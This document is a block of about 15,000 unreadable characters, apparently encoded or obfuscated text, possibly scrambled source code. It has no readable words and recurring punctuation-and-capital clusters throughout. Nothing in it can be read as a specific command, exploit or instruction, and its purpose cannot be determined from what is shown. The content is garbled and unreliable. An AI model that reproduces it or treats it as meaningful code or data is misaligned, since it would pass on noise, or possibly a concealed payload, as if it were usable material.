_]EWUCKBEYT%  xmZ[[@AmC@LDNL^ZF]J]NKFW[]JJ%%]J[Z]AINC\J%%R%%%GGBCCBVH[[J@oUVBD\JJ@K[L@CXUWJCN@%]J[Z]AGGBCCBVH[[J@		GGBCCBVH[[J@BVVD[A]WBNYHLH%R%IZAL[F@AGJW@^DFAFX^%%%%T%]J[Z]A%R%IZAL[F@AUAXBU^X]YJ%T%]J[Z]AFXpY^U_NV^MUH%R%IZAL[F@AN\\]pHFUFD\^%T%]J[Z]AFXpY^U_NV^MUH%R%IZAL[F@ACKBXNHE^IMXW%%%T%%FIFH]MK@AMIL\FH]MK@AMIL\]J[Z]A[]ZJ%FIFB^XDCW]NENXD]J[Z]A[]ZJ%IZE^XV\LKYF\\J[p|j}yj}tMMGCVDKC_KACrFXpY^U_NV^MUH\[]FAHp|j}yj}tUVBD\JJ@K[r%FIIZE^XV\LKY		MMGCVDKC_KACIZE^XV\LKYFXpY^U_NV^MUHINC\JSSFH]MK@AMIL\IZE^XV\LKYFH]MK@AMIL\INC\JSSFXpY^U_NV^MUHIZE^XV\LKYFH]MK@AMIL\INC\J]J[Z]A[]ZJ%FIIZE^XV\LKY		FH]MK@AMIL\FXpY^U_NV^MUH		F\\J[p|j}yj}tUVBD\JJ@K[r]J[Z]A[]ZJ%]J[Z]AINC\J%%%R%IZAL[F@AFB^XDCW]NENXD%TZM]UKgpfa{pbnw gpfa{pbnwWB@WY\LEFZM]UK%IZE^XV\LKYF\\J[p|j}yj}tUVBD\JJ@K[rp|j}yj}tFH]MK@AMIL\r%%]J[Z]AMMGCVDKC_KACIZE^XV\LKY		\[]F_@\IZE^XV\LKYMMGCVDKC_KACINC\J%R%IZAL[F@A@]DFGMG\BGBp[GUACWDELJ%T%IHE^WFCYEp_BBCFXpY^U_NV^MUHMMGCVDKC_KACoUVBD\JJ@K[UVBD\JJ@K[INC\J%%%FIIHE^WFCYEp_BBCSSIHE^WFCYEp_BBC]J[Z]A[]ZJ%MBKLM@MUoMMGCVDKC_KACACWDELJ%FIMBKLM@MUMBKLM@MUACWDELJCXZU_ApYYJJZ^CNKWW\@CXZU_ApYYCXZU_ApYYCXZU_ApYY%%I@]JNLGFXpY^U_NV^MUHn{gp|jn}n{`}IHE^WFCYEp_BBCN\]_DCDZL\T%]_DCDZL\FXpY^U_NV^MUH]_DCDZL\MMGCVDKC_KAC%FI]_DCDZL\		MBKLM@MU]_DCDZL\SSFH]MK@AMIL\MBKLM@MU]_DCDZL\kf}jl{`}vp|jn}n{`}]J[Z]A[]ZJ%R%]J[Z]AINC\J%R%IZAL[F@AJMY[AYMpU]LA_DW_N\B%%T%IWF\_MpZ]DA_DW_N\BSKJIFAJKFXpY^U_NV^MUHkmpanbjSKJIFAJKMMGCVDKC_KACnm|n{g%%%]J[Z]AFH]MK@AMIL\IWF\_MpZ]D%%%R%IZAL[F@ALBFEWKCIBAXA_DW_N\B%T%HC@MNCX_KM%FIF\\J[hc`mnc|tFXpY^U_NV^MUHrSSFXpY^U_NV^MUHhc`mnc|tMMGCVDKC_KACrhc`mnc|tFXpY^U_NV^MUHrN]]NV%FIJB_[Vhc`mnc|tMMGCVDKC_KACrtA_DW_N\BrT%hc`mnc|tUVBD\JJ@K[rtA_DW_N\Br%]J[Z]A[]ZJ%%R%FIFH]MK@AMIL\X_KM		UVBD\JJ@K[X_KMFXpY^U_NV^MUHT%_EI@L@EIZoX_KMHJ[pYN]FXpY^U_NV^MUHJMY[AYMpU]LA_DW_N\BUVBD\JJ@K[%FI_EI@L@EIZT%  |}ANBJ\_NLJ\FAL]JBJA[NC_N][F[F@A]JIFAJBJA[%%hc`mnc|tUVBD\JJ@K[rtA_DW_N\Br%]J[Z]A[]ZJ%R%%%FI_EI@L@EIZ]J[Z]AINC\J%R%FIMMGCVDKC_KACMMGCVDKC_KAC		FXpY^U_NV^MUHMMGCVDKC_KACT%  NKN_[FYJ[N\DH]N_G%AXCCLp]NJ_MC\GKFVBH^NMAXCCLp]NJ_M%DZGVXFVZN]]NV%FIFXpY^U_NV^MUHFH]MK@AMIL\DZGVXFVZtrMMGCVDKC_KAC%FIKJIFAJKFXpY^U_NV^MUHDZGVXFVZtrxpl`a{ja{pkf}%%%FIKJIFAJKUVBD\JJ@K[DZGVXFVZtrMMGCVDKC_KACnm|n{gMMGCVDKC_KAC%%%I@]JNLGDZGVXFVZN\J]AJG@CUT%%%%FIJ]AJG@CUSSoFH]MK@AMIL\J]AJG@CUSSoFXpY^U_NV^MUHJ]AJG@CUL@A[FAZJ%^J[\D_UIoMMGCVDKC_KACJ]AJG@CUMMGCVDKC_KACJMY[AYMpU]LA_DW_N\BFH]MK@AMIL\L%FI^J[\D_UIINC\JT%FIoIC@LD^J[\D_UIc`ldpjwSc`ldpamT%  B@A@[@AJL@ZA[BFA\DJ[LG%%oILC@\J^J[\D_UI%]J[Z]AINC\J%R%FIF\\J[hc`mnc|tFH]MK@AMIL\rSSFXpY^U_NV^MUHhc`mnc|tFXpY^U_NV^MUHrhc`mnc|tMMGCVDKC_KACrN]]NV%hc`mnc|tFH]MK@AMIL\rtA_DW_N\Br^J[\D_UI%hc`mnc|tUVBD\JJ@K[rtA_DW_N\Br%]J[Z]A[]ZJ%R%R%R%%%%]J[Z]AINC\J%R%IZAL[F@AH\GBN@MFVL]A_DW_N\B%T%HC@MNCX_KM%FIJB_[Vhc`mnc|tUVBD\JJ@K[rtA_DW_N\Br]J[Z]A%%%%hc`mnc|tFXpY^U_NV^MUHrtA_DW_N\Br%%FIhc`mnc|tFH]MK@AMIL\rtA_DW_N\Br]J[Z]A%ZA\J[hc`mnc|tUVBD\JJ@K[rtA_DW_N\Br%FIF\\J[hc`mnc|tFH]MK@AMIL\rtA_DW_N\BrT%oIC@LDhc`mnc|tFH]MK@AMIL\rtA_DW_N\Brc`ldpza%oILC@\Jhc`mnc|tFXpY^U_NV^MUHrtA_DW_N\Br%ZA\J[hc`mnc|tFXpY^U_NV^MUHrtA_DW_N\Br%R%%FIFH]MK@AMIL\X_KM		MMGCVDKC_KACX_KMFXpY^U_NV^MUHT%%%oX_KM^ZJ]VMMGCVDKC_KACJMY[AYMpU]LA_DW_N\BFXpY^U_NV^MUH%R%  BZC[FMV[JNXN]J%%R%IZAL[F@ANHGYVFA\AKH%T%%FIKJIFAJKFH]MK@AMIL\		kf|ncc`xpifcjpb`k|]J[Z]AINC\J%]J[Z]A[]ZJ%R%IZAL[F@A@DWMpK]LDZ\KNVCZpUU^^GC[A_M[p%T%[]VT%FIFA[J]INLJpJWF\[\UVBD\JJ@K[		C[A_M[pFA\[NALJ@I{G]@XNMCJT%BXYIAEGKJZB\I\FXpY^U_NV^MUHpUU^^GFH]MK@AMIL\C[A_M[pHJ[bJ\\NHJ%RJC\JFIC[A_M[pFA\[NALJ@IjWLJ_[F@AT%BXYIAEGKJZB\I\UVBD\JJ@K[pUU^^GUVBD\JJ@K[C[A_M[pHJ[bJ\\NHJ%%%%RJC\JFIFH]MK@AMIL\C[A_M[p		FH]MK@AMIL\C[A_M[pT%BXYIAEGKJZB\I\UVBD\JJ@K[pUU^^GUVBD\JJ@K[C[A_M[p%RJC\JT%]J[Z]A%R%  CFIJLVLCJG@@D%%FIF\\J[hc`mnc|tUVBD\JJ@K[rhc`mnc|tFH]MK@AMIL\rN]]NV%FIFXpY^U_NV^MUHBXYIAEGKJZB\I\hc`mnc|tMMGCVDKC_KACr[]ZJT%hc`mnc|tFXpY^U_NV^MUHrtrBXYIAEGKJZB\I\%R%FIFXpY^U_NV^MUHhc`mnc|tFH]MK@AMIL\rT%hc`mnc|tMMGCVDKC_KACrFH]MK@AMIL\hc`mnc|tMMGCVDKC_KACr%R%RLN[LG{G]@XNMCJEMNYKYAA_^MDT%  J\[gXJM_L@AYJ]\F@A%%RLN[LGjWLJ_[F@AEMNYKYAA_^MDT%%%%R%R%IZAL[F@AHVDC\YKUZYDMKYIXIYZ]YC\IGKpEU^ICMINUBAF]@BEB]J\FDMHZY%T%FIFH]MK@AMIL\FH]MK@AMIL\]J[Z]AINC\J%FIFH]MK@AMIL\YC\IGKpEU^T%]J[Z]ANKKpNL[F@AKYIXIYZ]IZAL[F@AZDY@@DI_Y]_Z\JYC\IGKpEU^T%FIFXpY^U_NV^MUHYC\IGKpEU^]J[Z]AYC\IGKpEU^ZDY@@DI_Y]_%]J[Z]AAZCC%RICMINUBAF]@BEB]J\FDMHZYpKMY^^p\YWgpfa{pbnw gpfa{pbnwJMMYDCCGpKMY^^p\YW%R%]J[Z]ANKKpNL[F@AKYIXIYZ]YC\IGKpEU^ICMINUBAF]@BEB]J\FDMHZY%R%%%IZAL[F@ADKJ]pHXJKHKYIXIYZ]YC\IGKpEU^ICMINUBAF]@qBEB]J\FDMHZY%%T%FIFH]MK@AMIL\MMGCVDKC_KAC]J[Z]AINC\J%FIFXpY^U_NV^MUHYC\IGKpEU^T%%%]J[Z]ANKKpIFC[J]KYIXIYZ]IZAL[F@AZDY@@DI_Y]_Z\JYC\IGKpEU^T%%%FIUVBD\JJ@K[YC\IGKpEU^]J[Z]AYC\IGKpEU^ZDY@@DI_Y]_%]J[Z]AF\\J[ZDY@@DI_Y]_trZDY@@DI_Y]_trAZCC%RICMINUBAF]@BEB]J\FDMHZYDYEHYHXN]EWWLKX\J_W[DYEHYHXN]E
%R%]J[Z]ANKKpIFC[J]KYIXIYZ]YC\IGKpEU^ICMINUBAF]@BEB]J\FDMHZY%%R%IZAL[F@AXB[[I@V^YMAMHF%T%]_DCDZL\KJIFAJKMMGCVDKC_KACxpl`a{ja{pkf}MMGCVDKC_KAC@\J__MJJCW]ZGnm|n{gMMGCVDKC_KACUVBD\JJ@K[]\MJUBYMMGCVDKC_KAC%FIoUVBD\JJ@K[]_DCDZL\		@]DFGMG\BGBp[GU]_DCDZL\T%%%pAWDW\CVHEINNK]_DCDZL\WWL[]ZJ%FIoFXpY^U_NV^MUH]_DCDZL\T%[EKM^^WMFAZ@N]_DCDZL\FXpY^U_NV^MUH_G_  |FCJALJF\H@CKJAsAMMGCVDKC_KAC%R%R%FIoUVBD\JJ@K[]_DCDZL\		oMMGCVDKC_KAC]_DCDZL\T%  _NLDJKCNV@Z[%%]J[Z]A]_DCDZL\%R%  L@CCJL[KN[NIC@XH]N_GI@]xhC@MNC|[VCJ\%%LHMJEX]N@UVBD\JJ@K[]\MJUBYMMGCVDKC_KAC%FIoUVBD\JJ@K[LHMJEX]N@		@]DFGMG\BGBp[GULHMJEX]N@pAWDW\CVHEINNKLHMJEX]N@[]ZJ%%FIoFXpY^U_NV^MUHLHMJEX]N@		oMMGCVDKC_KACLHMJEX]N@]J[Z]ALHMJEX]N@%E@A^K\JI_\_F^A^FXpY^U_NV^MUH]\MJUBY%%%FIoFXpY^U_NV^MUHE@A^K\JI_\_F^A^		E@A^K\JI_\_F^A^ZpLN@AJ@YYVD\@G[A]J[Z]AE@A^K\JI_\_F^A^%FIKJIFAJKMMGCVDKC_KAC		oUVBD\JJ@K[xpl`a{ja{pkf}		@]DFGMG\BGBp[GUxpl`a{ja{pkf}]J[Z]Axpl`a{ja{pkf}%]J[Z]A]_DCDZL\%R%IZAL[F@AZVK^W\ZBKLY[ZIN%T%FIKJIFAJKUVBD\JJ@K[		oUVBD\JJ@K[xpl`a{ja{pkf}		@]DFGMG\BGBp[GUxpl`a{ja{pkf}]J[Z]Axpl`a{ja{pkf}%KMMUXCFXpY^U_NV^MUH]\MJUBY%FI@]DFGMG\BGBp[GUKMMUXC]J[Z]AKMMUXC%]J[Z]Axpl`a{ja{pkf}%R%%IZAL[F@AUBJKIEMY[LUBHXACWDELJ%T%%FIJB_[Vhc`mnc|tFH]MK@AMIL\rSSFXpY^U_NV^MUHhc`mnc|tFH]MK@AMIL\r]J[Z]AINC\J%FIF\\J[hc`mnc|tMMGCVDKC_KACrtACWDELJr]J[Z]A[]ZJ%MBKLM@MUUVBD\JJ@K[MMGCVDKC_KACoFH]MK@AMIL\ACWDELJINC\J%]J[Z]AMBKLM@MUINC\J		F\\J[hc`mnc|tMMGCVDKC_KACrtMBKLM@MUr%%%%R%%%%IZAL[F@AUUXWZpYYG\KF_KMIUACWDELJ%T% NKN_[FYJL@BBNAK %MIBADAHCA_A[[]DVVKHHU\GZMIBADAHCA_A[%FIJB_[Vhc`mnc|tFH]MK@AMIL\rSSFXpY^U_NV^MUHhc`mnc|tFXpY^U_NV^MUHr]J[Z]A%%%ZA\J[hc`mnc|tFXpY^U_NV^MUHrtACWDELJr%%%%MBKLM@MUFXpY^U_NV^MUHUVBD\JJ@K[oMMGCVDKC_KACACWDELJINC\J%FIMBKLM@MUINC\JZA\J[hc`mnc|tMMGCVDKC_KACrtMBKLM@MUr%R%%%%IZAL[F@AKUpF@VCWI\HNFACWDELJ%T%FIF\\J[hc`mnc|tFXpY^U_NV^MUHrSSFH]MK@AMIL\hc`mnc|tUVBD\JJ@K[rT%hc`mnc|tFH]MK@AMIL\rN]]NV%R%%H]WIVENNAYEUVBD\JJ@K[FXpY^U_NV^MUHoUVBD\JJ@K[ACWDELJINC\J%%%hc`mnc|tUVBD\JJ@K[rtH]WIVENNAYEINC\JH]WIVENNAYEACWDELJrACWDELJ%%%\[N[FL@CL[BINC\J%FI@CL[BT%%%@CL[B[]ZJ%FIUVBD\JJ@K[UVBD\JJ@K[FH]MK@AMIL\UVBD\JJ@K[%%%R%%R%%%%IZAL[F@AN@JYKppGDC%T%FIJB_[Vhc`mnc|tFH]MK@AMIL\rSSUVBD\JJ@K[hc`mnc|tUVBD\JJ@K[rT%]J[Z]A%%%R%I@]JNLGhc`mnc|tMMGCVDKC_KACrN\DUKpLpXCLE[E@BpIJT%FIFXpY^U_NV^MUHCLE[E@BpIJCLE[E@BpIJDUKpLpX%%%FIDUKpLpX]\MJUBYSSCLE[E@BpIJ]\MJUBYL@A[FAZJ%%%[]VT%FIoFXpY^U_NV^MUHCLE[E@BpIJT%FIFXpY^U_NV^MUHMMGCVDKC_KAC^^[J]pC_EXZI\U\YFLJCLE[E@BpIJWWK%%%%FIUVBD\JJ@K[FXpY^U_NV^MUH		FVC]\Z]^LYVJ^ACLE[E@BpIJ		FXpY^U_NV^MUHFH]MK@AMIL\o@_LNLGJpFAYNCFKN[JCLE[E@BpIJ[]ZJ%%%%R%RLN[LG{G]@XNMCJC[A_M[pT%RLN[LGjWLJ_[F@AC[A_M[pT%  x@\[kN[JFAKJL@B_@\NMCJBJKFN[@]%%R%R%R%IZAL[F@ANW[A[MXZI]UK\G@%%%%T%%%%[]VT%C[A_M[pMMGCVDKC_KACUVBD\JJ@K[oJ]]@]pHJ[pCN\[AZCC%FIFXpY^U_NV^MUHC[A_M[pSSJB_[VC[A_M[ptFH]MK@AMIL\rSSJB_[VC[A_M[ptFH]MK@AMIL\r]J[Z]A%FIUVBD\JJ@K[C[A_M[ptFH]MK@AMIL\rN]]NVjpj}}`}jpn}|jjpl`}jpj}}`}jpl`bfcjpj}}`}jpz|j}pj}}`}[]ZJ]J[Z]A%YE\BAI_F\\J[C[A_M[ptMMGCVDKC_KACr\[]FAHC[A_M[ptFH]MK@AMIL\r%FI\[]F_@\YE\BAI_UVBD\JJ@K[INC\JSS\[]F_@\YE\BAI_FXpY^U_NV^MUHINC\J]J[Z]A%%UEJIEU\MYJCFFXpY^U_NV^MUHFXpY^U_NV^MUHoFH]MK@AMIL\]\MJUBY]\MJUBY%pJIUVBD\JJ@K[UVBD\JJ@K[oUVBD\JJ@K[C[A_M[ptFXpY^U_NV^MUHrC[A_M[ptFH]MK@AMIL\rEVECKXLFZD]\Kgpbne`}pyj}|f`a[_^YUpJI@DYEVECKXLFZD]\K%%%FIUVBD\JJ@K[UEJIEU\MYJCFSSUVBD\JJ@K[pJISSpJIUEJIEU\MYJCF]J[Z]A%%%FIF\\J[hc`mnc|tFH]MK@AMIL\rT%EDYCVEoMMGCVDKC_KAC]\MJUBYINC\JAZCC%FIFH]MK@AMIL\EDYCVE		FXpY^U_NV^MUHFH]MK@AMIL\EDYCVEpKB		pKBtr\[]FAHhc`mnc|tMMGCVDKC_KACr]J[Z]A%ZA\J[EDYCVEpKB%FIF\\J[hc`mnc|tFH]MK@AMIL\rT% @_JA_GNA[@B %%FIFH]MK@AMIL\UVBD\JJ@K[oLCJN]\[N[LNLGJ[]ZJ]\MJUBY%%HVE^^WJ@[N\@A\[]FAHoFH]MK@AMIL\]\MJUBY\[]FAHoFH]MK@AMIL\]\MJUBY%FIHVE^^WJ@[N\@A\[]FAHhc`mnc|tFH]MK@AMIL\r]J[Z]A%ZA\J[HVE^^WJ@[N\@A%%%R%R%KY^^N_EXEYUVUVBD\JJ@K[]\MJUBYMMGCVDKC_KAC%%EVLX^AKD^pG@MMGCVDKC_KACEXpF\FZFGEDEJ\[]FAHoFH]MK@AMIL\]\MJUBY%[EKM^^WMFAZ@NFH]MK@AMIL\]\MJUBYFXpY^U_NV^MUHKY^^N_EXEYUVEVLX^AKD^pG@^%FIEVLX^AKD^pG@T%[EKM^^WMFAZ@NMMGCVDKC_KAC]\MJUBYMMGCVDKC_KACEVLX^AKD^pG@\[]FAHUVBD\JJ@K[^%FIUVBD\JJ@K[FXpY^U_NV^MUHT%oZ_KN[Jp@_[F@AFXpY^U_NV^MUHEVLX^AKD^pG@SMMGCVDKC_KACFH]MK@AMIL\%R%R%UJHDCYXMFVZpLN@AJ@YYVD\@G[A%FIUJHDCYXMFVMMGCVDKC_KAC]\MJUBY		oUVBD\JJ@K[UJHDCYXMFV		oMMGCVDKC_KACUJHDCYXMFVT%%%%[EKM^^WMFAZ@NUJHDCYXMFVFH]MK@AMIL\KY^^N_EXEYUVEVLX^AKD^pG@^%R%FIFH]MK@AMIL\MMGCVDKC_KAC		FXpY^U_NV^MUHFXpY^U_NV^MUHT%%%KNMY]_A\[HJ[p@_[F@AFXpY^U_NV^MUHN]]NV%FIMMGCVDKC_KACKNMY]_A\[		MMGCVDKC_KAC^XG]UMIUN]KNMY]_A\[[]ZJT%oZ_KN[Jp@_[F@AFH]MK@AMIL\UVBD\JJ@K[UVBD\JJ@K[KNMY]_A\[N]]NV^XG]UMIUN]%R%R%A_Y]NXMHVHNCFXpY^U_NV^MUH%DAI_JDYpE]\MJUBYFXpY^U_NV^MUH%FIUVBD\JJ@K[FH]MK@AMIL\oUVBD\JJ@K[]\MJUBYDAI_JDYpE%FIUVBD\JJ@K[UVBD\JJ@K[T%%o@_LNLGJpFAYNCFKN[J]\MJUBY[]ZJ%%%o@_LNLGJpFAYNCFKN[JDAI_JDYpE[]ZJ%%%R%%%%I@]JNLGN]]NVFH]MK@AMIL\DAI_JDYpEZpLN@AJ@YYVD\@G[AN\[HEK@WCIT%%%^AYAJ@YDZ\ZGAJG\GN\^DZ[HEK@WCI%%%%FIUVBD\JJ@K[^AYAJ@YDL@A[FAZJ\LL]DXHF@pU_\LL]D\LL]D\LL]D%I@]JNLG^AYAJ@YDN\YNE_F^AXNCET%FIUVBD\JJ@K[YNE_F^AXNCEMMGCVDKC_KACL@A[FAZJ%ZEKF]^AIUGA[HEK@WCI YNE_F^AXNCE%^GUWKDECFBBNNoMMGCVDKC_KACZEKF]^AIUGA%FI^GUWKDECFBBNN		^GUWKDECFBBNNMMGCVDKC_KACT%  N[@B[NMCJ%%^^[J]pC_EXZI\U\YFLJZEKF]^AIUGA%%%%FVC]\Z]^LYVJ^AZEKF]^AIUGA%R%R%R%%%ZA\J[[HEK@WCI^AYAJ@YDYNE_F^AXNCEZEKF]^AIUGA^GUWKDECFBBNN%RLN[LG{G]@XNMCJEMNYKYAA_^MDT%RLN[LGjWLJ_[F@AEMNYKYAA_^MDT%R%R%IZAL[F@A@X\HBNGAXDACWDELJFMJXYB]%T%[]VT%FIMMGCVDKC_KACACWDELJSSACWDELJSSUVBD\JJ@K[FMJXYB]SSFMJXYB]]J[Z]A%]_DCDZL\MMGCVDKC_KACACWDELJ%FIoMMGCVDKC_KAC]_DCDZL\SSoMMGCVDKC_KAC]_DCDZL\]J[Z]A%_pJD^BCW]\]]_DCDZL\FXpY^U_NV^MUHFH]MK@AMIL\ACWDELJFXpY^U_NV^MUH%^^ZZIpDoFH]MK@AMIL\_pJD^BCW]\]%FIFH]MK@AMIL\^^ZZIpD		UVBD\JJ@K[FH]MK@AMIL\^^ZZIpDYE\BAI_		YJ]\F@ApL@B_N]JYE\BAI_trFMJXYB]FXpY^U_NV^MUH]J[Z]A%FIUVBD\JJ@K[FH]MK@AMIL\oFH]MK@AMIL\_pJD^BCW]\]FMJXYB]%RLN[LG{G]@XNMCJC[A_M[pT%%%RLN[LGjWLJ_[F@AC[A_M[pT%R%R%IZAL[F@AEMK^XLUA_^HN%T%[]VT%FIFXpY^U_NV^MUHFXpY^U_NV^MUHT%  |}ANBJ\_NLJ\I@A[INLJ%%]J[Z]A%R%FIoHJ[p@_[F@AMMGCVDKC_KACT[]_EEIYN^DGSKZCHLL[]_EEIYN^DGq%%HVDC\YKUZYDMFH]MK@AMIL\FH]MK@AMIL\%R%FILBFEWKCIBAXFH]MK@AMIL\]J[Z]A%%^\XZFMLCXUVBD\JJ@K[MMGCVDKC_KACnm|n{g\[]FAH_]EWUCKBEYWW%%%[U]N]F\[]FAHoHJ[p@_[F@A^\XZFMLCX%V@\NDMEECLFH]MK@AMIL\%YYYU]_pXD%%%%%JIWKpFHI\]\[]]JYFD\GHZWZVWFC^LV%UpCU\G^WKXHMDNU[UXH@NANXI[%JWIGE_FDUpCU\G^WKSJIWKpFHI\]%%FIFXpY^U_NV^MUH[U]N]FSINC\JT%%%ENNBJEUZLMDUVBD\JJ@K[S[U]N]F%V@\NDMEECLENNBJEUZLMDtr%YYYU]_pXDENNBJEUZLMDtr%RJC\JT%%YYYU]_pXD[U]N]F%R%%FIYYYU]_pXDT%oZ_KN[Jp@_[F@A^\XZFMLCXJWIGE_FDFXpY^U_NV^MUH%]J[Z]A%%%R%%%%%FIYYYU]_pXDJIWKpFHI\]T%FI[U]N]FJWIGE_FD		YJ]\F@ApL@B_N]JUpCU\G^WKV@\NDMEECLUVBD\JJ@K[T%oZ_KN[Jp@_[F@A^\XZFMLCXJWIGE_FDUVBD\JJ@K[%R%]J[Z]A%R%%AHMXGBUHFF\[]]JYYYYU]_pXD%FIAHMXGBUHFFSSFXpY^U_NV^MUHAHMXGBUHFFAHMXGBUHFFT%oZ_KN[Jp@_[F@A^\XZFMLCXJWIGE_FDUVBD\JJ@K[%]J[Z]A%R%YULAMNK_EHJZpLN@AJ@YYVD\@G[A AHMXGBUHFF%%%^_GHK@VWNFH[W%FIKJIFAJKFH]MK@AMIL\T%^_GHK@VWNFH[Wxpczhfapkf} FH]MK@AMIL\AHMXGBUHFFn{gfai`pifcjanbj AHMXGBUHFF%R%%%%%BYYWZNGYADB[WoFXpY^U_NV^MUHYULAMNK_EHJ%MZXVIUpLKVBYYWZNGYADB[WINC\J		BYYWZNGYADB[WWMWK%%%%J^NWI[MJAE^_GHK@VWNFH[WoFH]MK@AMIL\^_GHK@VWNFH[WINC\J%KD\pIDENJ^NWI[MJAEINC\J		J^NWI[MJAE%%FIMZXVIUpLKV		KD\pIDENT%oZ_KN[Jp@_[F@A^\XZFMLCXJWIGE_FDFH]MK@AMIL\%]J[Z]ABAGV_DIpIgpbne`}pyj}|f`a^IB]YFWFMVDGBAGV_DIpI%R%%[_YBKJ\GBECIMZXVIUpLKVYULAMNK_EHJ^_GHK@VWNFH[W%LJCY_KoMMGCVDKC_KAC[_YBKJ\GBECIINC\JAZCC%%%FIFH]MK@AMIL\LJCY_K		FH]MK@AMIL\MMGCVDKC_KACLJCY_KpIBT%V@\NDMEECLpIBtr%RJC\JFIWJFpLJXCX\KDIY[_YBKJ\GBECIT%%V@\NDMEECLFH]MK@AMIL\%%R%ZA\J[LJCY_KpIB%ppCV]JpGFX@MZXVIUpLKV%%FIppCV]JpGFX@		KD\pIDENT%MW[MUFXpY^U_NV^MUHAHMXGBUHFFn{gfai`pifcjanbj AHMXGBUHFF%FVU]HA\KEBN]]NVoHJ[p@_[F@AFH]MK@AMIL\N]]NV%ppCV]JpGFX@FXpY^U_NV^MUHMW[MUFVU]HA\KEB[]ZJ%FIppCV]JpGFX@		FH]MK@AMIL\FH]MK@AMIL\		F\pBZC[F\F[J		MMGCVDKC_KACUVBD\JJ@K[T%IYEHKFN_N]]NVoHJ[p\F[Jp@_[F@AMMGCVDKC_KACN]]NV%ppCV]JpGFX@F\\J[IYEHKFN_tMW[MUr%%%%ZA\J[IYEHKFN_%%%R%ZA\J[MW[MUFVU]HA\KEB%%%R%%DWG]N\UJAGVYJ]\F@ApL@B_N]JUpCU\G^WKV@\NDMEECL%%FIDWG]N\UJAGVT%%%CF\A_KYHpWJFpLJXCX\KDIY[_YBKJ\GBECI%@YNNEpAJLJLFA[oFH]MK@AMIL\[_YBKJ\GBECI%NNCNDJD@WCF\A_KYHpSS@YNNEpAJLJL%FINNCNDJD@W		@YNNEpAJLJLWJIWKKT%  AFC_@[JA[_F_JCFAJ%%IJ]GIVXZoMMGCVDKC_KAC[_YBKJ\GBECIINC\JAZCC%FIFXpY^U_NV^MUHIJ]GIVXZSSUVBD\JJ@K[FXpY^U_NV^MUHIJ]GIVXZNNCNDJD@W[]ZJ%%%R%%%FINNCNDJD@W		AYLUZ@XLGW][_YBKJ\GBECINNCNDJD@W[]ZJ%FINNCNDJD@WT%J]G_UGBU@[CWL\GNHWMX%FIJB_[VJ]G_UGBU@tFXpY^U_NV^MUHrT%  |}BFKKCJXN]JJW_@AJA[FNCMNLDC@H%%ACM\@N[CWIoMMGCVDKC_KACJ]G_UGBU@tFH]MK@AMIL\r%]GHGZJENoFXpY^U_NV^MUH[_YBKJ\GBECI%FIUVBD\JJ@K[ACM\@N[CWI		FXpY^U_NV^MUH]GHGZJEN		ACM\@N[CWI]GHGZJENT%XpNBAMVA]\]JGBFLZ_LLJLNYAZIWJ]G_UGBU@%FIXpNBAMVA]\]JGBFFH]MK@AMIL\SSXpNBAMVA]\]JGBFFXpY^U_NV^MUHNNCNDJD@W[]ZJ%R%ZA\J[ACM\@N[CWI]GHGZJENXpNBAMVA]\]JGBF%R%  KJI]NHBJA[L@A\[]NFA[\J[I@]xh]@Z_mC@LD%%FINNCNDJD@W		YEAB^XH^@I]A[_YBKJ\GBECINNCNDJD@W[]ZJ%ZA\J[J]G_UGBU@%R%FINNCNDJD@WT%FICF\A_KYHpKUpF@VCWI\HNF[_YBKJ\GBECI%oZ_KN[Jp@_[F@A^\XZFMLCXJWIGE_FDUVBD\JJ@K[%]J[Z]A%R%FIppCV]JpGFX@T%oZ_KN[Jp@_[F@A^\XZFMLCXJWIGE_FDFXpY^U_NV^MUH%]J[Z]A%%%%R%@X\HBNGAXD]\MJUBYV@\NDMEECL%]XBWF]\FpGYMAKFW]\MJUBY%%%]J[Z]A[]ZJ%%R%FIJB_[Vhc`mnc|tFH]MK@AMIL\rT%%hc`mnc|tUVBD\JJ@K[r[]ZJ%FIWJFpLJXCX\KDIY[_YBKJ\GBECIKUpF@VCWI\HNF[_YBKJ\GBECI%EWYFC^BXLDIEVUVBD\JJ@K[%%%LDGZAFpWLVH[K[]\MJUBYEWYFC^BXLDIEVEWYFC^BXLDIEV
_]EWUCKBEY%ZA\J[EWYFC^BXLDIEV%%%@X\HBNGAXDYULAMNK_EHJUpCU\G^WK%FI^_GHK@VWNFH[W@X\HBNGAXD^_GHK@VWNFH[WUpCU\G^WK%HVDC\YKUZYDMFH]MK@AMIL\MMGCVDKC_KAC%oZ_KN[Jp@_[F@A^\XZFMLCXJWIGE_FDUVBD\JJ@K[%A_Y]NXMHVHNCFXpY^U_NV^MUH%FI^_GHK@VWNFH[W		FH]MK@AMIL\UVBD\JJ@K[T%ZDZDCUVBD\JJ@K[AHMXGBUHFFn{gfai`pifcjanbj AHMXGBUHFF%%FVU]HA\KEBoHJ[p@_[F@AFH]MK@AMIL\N]]NVUp[N]YLYNgpbne`}pyj}|f`aYHX]GX]DUp[N]YLYN%%%%FIMMGCVDKC_KACFVU]HA\KEB		FH]MK@AMIL\ZDZDCFVU]HA\KEB[]ZJT%oZ_KN[Jp@_[F@AMMGCVDKC_KACUVBD\JJ@K[FH]MK@AMIL\FVU]HA\KEBN]]NVZDZDC%R%ZA\J[ZDZDCFVU]HA\KEB%R%R%]J[Z]A%%%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%%%%RLN[LGjWLJ_[F@AC[A_M[pT%RIFANCCVT%H\GBN@MFVL]FH]MK@AMIL\%%%%R%%%R%IZAL[F@AZ\ZGAJG\GN\^DZ]_DCDZL\%T%%%FIFXpY^U_NV^MUHUVBD\JJ@K[		MMGCVDKC_KACFH]MK@AMIL\T%%%[WNIZGBpNH]_JoFH]MK@AMIL\]_DCDZL\%%FI[WNIZGBpNH]_JTJ_]DE@VF[ISVU\^XpJ_]DE@VF[Iq%]FULYEU@G^AKWpWN]]NV%XGFCJC[A_M[poMMGCVDKC_KAC[WNIZGBpNH]_JINC\JT%FIC[A_M[p		C[A_M[pUVBD\JJ@K[]FULYEU@G^AKWpWtrC[A_M[p%R%FIMMGCVDKC_KACUVBD\JJ@K[oFXpY^U_NV^MUH[WNIZGBpNH]_J%]J[Z]A]FULYEU@G^AKWpW%R%R%FIUVBD\JJ@K[MMGCVDKC_KACT%_EI@L@EIZoUVBD\JJ@K[]_DCDZL\%FIFXpY^U_NV^MUH_EI@L@EIZ]J[Z]AFXpY^U_NV^MUHFXpY^U_NV^MUH_EI@L@EIZN]]NVMMGCVDKC_KAC%R%%FIFXpY^U_NV^MUHMMGCVDKC_KACT%C_EN@CoFXpY^U_NV^MUH